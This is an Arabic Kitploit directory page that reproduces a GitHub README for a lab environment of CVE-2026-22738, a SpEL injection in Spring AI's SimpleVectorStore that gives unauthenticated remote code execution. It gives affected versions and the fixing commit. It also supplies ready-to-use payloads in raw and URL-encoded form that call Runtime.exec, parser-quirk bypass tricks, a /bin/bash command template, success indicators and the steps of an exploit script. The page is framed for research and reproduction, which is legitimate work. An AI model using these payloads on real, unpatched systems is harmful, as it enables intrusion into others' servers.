Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22738 — حقن SpEL عبر مفتاح فلتر غير مُهرَّب في SimpleVectorStore يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد | Kitploit
أدوات/GitHubGitHub/rockmelodies/cve-2026-22738
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتحصان طروادة للوصول عن بعد
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

حقن SpEL عبر مفتاح فلتر غير مُهرَّب في SimpleVectorStore يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد

عرض المستودع
21منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بيئة إعادة إنتاج CVE-2026-22738

img.png

وصف الثغرة

CVE-2026-22738 هي ثغرة حقن SpEL (لغة تعبير Spring) في Spring AI SimpleVectorStore، والتي يمكن أن تؤدي إلى تنفيذ كود عن بُعد (RCE) دون مصادقة.

الإصدارات المتأثرة

Artifactالإصدارات المتأثرةالإصدار المُصلَح
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

ملاحظة: يستخدم هذا المشروع الإصدار الرسمي spring-ai-core:1.0.0 لإعادة إنتاج الثغرة.

الالتزام المُصلِح: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

مبدأ الثغرة

تقوم طريقة SimpleVectorStore.similaritySearch() بتمرير اسم مفتاح الفلتر الذي يقدمه المستخدم كما هو إلى قالب SpEL، ويتم تقييمه بواسطة StandardEvaluationContext. نظرًا لأن StandardEvaluationContext يكشف عن واجهة برمجة تطبيقات انعكاس JVM الكاملة، يمكن للمهاجم حقن:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

لإضافة مفتاح الفلتر لتنفيذ أوامر نظام التشغيل دون مصادقة.

إعادة إنتاج الثغرة

استخدم الحمولة التالية، مع ملاحظة الحاجة إلى ترميز URL مرة واحدة

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

قم بتمرير الحمولة إلى معامل filterKey، وسيتم فتح الآلة الحاسبة بنجاح img_1.png

تفاصيل الالتفاف

طريقة الحقن البسيطة لا تعمل مباشرة — يجب التغلب على غرابتين في المحلل اللغوي:

  1. إزالة علامات الاقتباس المفردة — المفتاح الذي يبدأ بعلامة اقتباس مفردة ' يُعتبر سلسلة مقتبسة؛ سيتم إزالة علامات الاقتباس الخارجية، مما يكسر الحمولة.

  2. غلاف علامات الاقتباس المزدوجة — تغليف الحمولة بعلامات اقتباس مزدوجة "..." يؤدي إلى قيام المحلل اللغوي بإزالة علامات الاقتباس المزدوجة الخارجية، مما يُبقي تعبير SpEL الداخلي كقيمة مفتاح تُمرر إلى #metadata['<KEY>'].

  3. مفتاح بيانات وصفية فارغ — استخدام #metadata[''] على جانبي التعبير المحقون (بدلاً من متغير غير معرّف) يتجنب أخطاء SpEL الخاصة بالمتغير غير المعروف مع الاستمرار في تشغيل exec().

التعبير المحسوب الناتج يكون بالشكل التالي:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

مؤشرات النجاح

سيحتوي نص استجابة HTTP على خطأ SpEL في وقت التشغيل EL1030E:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

يُثار هذا الخطأ بعد عودة exec()، مما يؤكد اكتمال تنفيذ الأمر على مستوى نظام التشغيل دون الحاجة إلى استدعاء خارجي.

إعداد البيئة

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3 + مكتبة requests (pip install requests)

بناء وتشغيل بيئة الثغرة

root@kitploit:~
# بناء وتشغيل الحاويات
docker compose up -d --build

# عرض السجلات
docker compose logs -f

تشغيل سكربت الاستغلال

root@kitploit:~
# تثبيت التبعيات
pip install requests

# تشغيل الاستغلال (انتظار بدء التطبيق)
python3 exploit.py --wait

# أو تحديد الهدف
python3 exploit.py --target http://localhost:8082 --wait

شرح المعاملات

العلامةالقيمة الافتراضيةالوصف
--targethttp://localhost:8082عنوان URL الأساسي للتطبيق الضعيف
--waitمعطّلالاستقصاء حتى يصبح الهدف جاهزًا (مفيد بعد docker compose up)

ملاحظة: يستخدم Docker Desktop (macOS/Windows) host.docker.internal لعمليات الاستدعاء، وحمولة 127.0.0.1 صالحة.

خطوات الاستغلال

يتكون تدفق إثبات المفهوم من خمس خطوات متتالية:

  1. فحص الأساس — تأكيد أن نقطة النهاية قابلة للوصول وتُرجع بيانات أولية
  2. مسبار SpEL أعمى — تأكيد نقطة الحقن عبر قراءة java.version من T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 داخل الحاوية
  4. RCE: كتابة مخرجات id // uname // hostname إلى /tmp/rce_proof.txt
  5. التحقق: طباعة محتوى ملف الإثبات عبر docker exec للتحقق

هيكل المشروع

root@kitploit:~
├── Dockerfile                    # ملف بناء Docker
├── docker-compose.yml            # تكوين Docker Compose
├── pom.xml                       # تكوين مشروع Maven
├── settings.xml                  # إعدادات Maven (تتضمن مستودعات Spring)
├── exploit.py                    # سكربت الاستغلال
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # الفئة الرئيسية لـ Spring Boot
    ├── VulnController.java           # وحدة التحكم الضعيفة
    ├── VectorStoreConfig.java        # تكوين VectorStore
    └── DummyEmbeddingModel.java      # نموذج Embedding محاكى

الاختبار المحلي (بدون Docker)

root@kitploit:~
# تجميع المشروع
mvn clean package -DskipTests

# تشغيل التطبيق
java -jar target/spel-rce-lab-1.0.0.jar

# تشغيل الاستغلال في طرفية أخرى
python3 exploit.py --target http://localhost:8082

المراجع

  • CVE-2026-22738
  • التزام الإصلاح في Spring AI
  • مشروع PoC الأصلي
تنزيل الأداة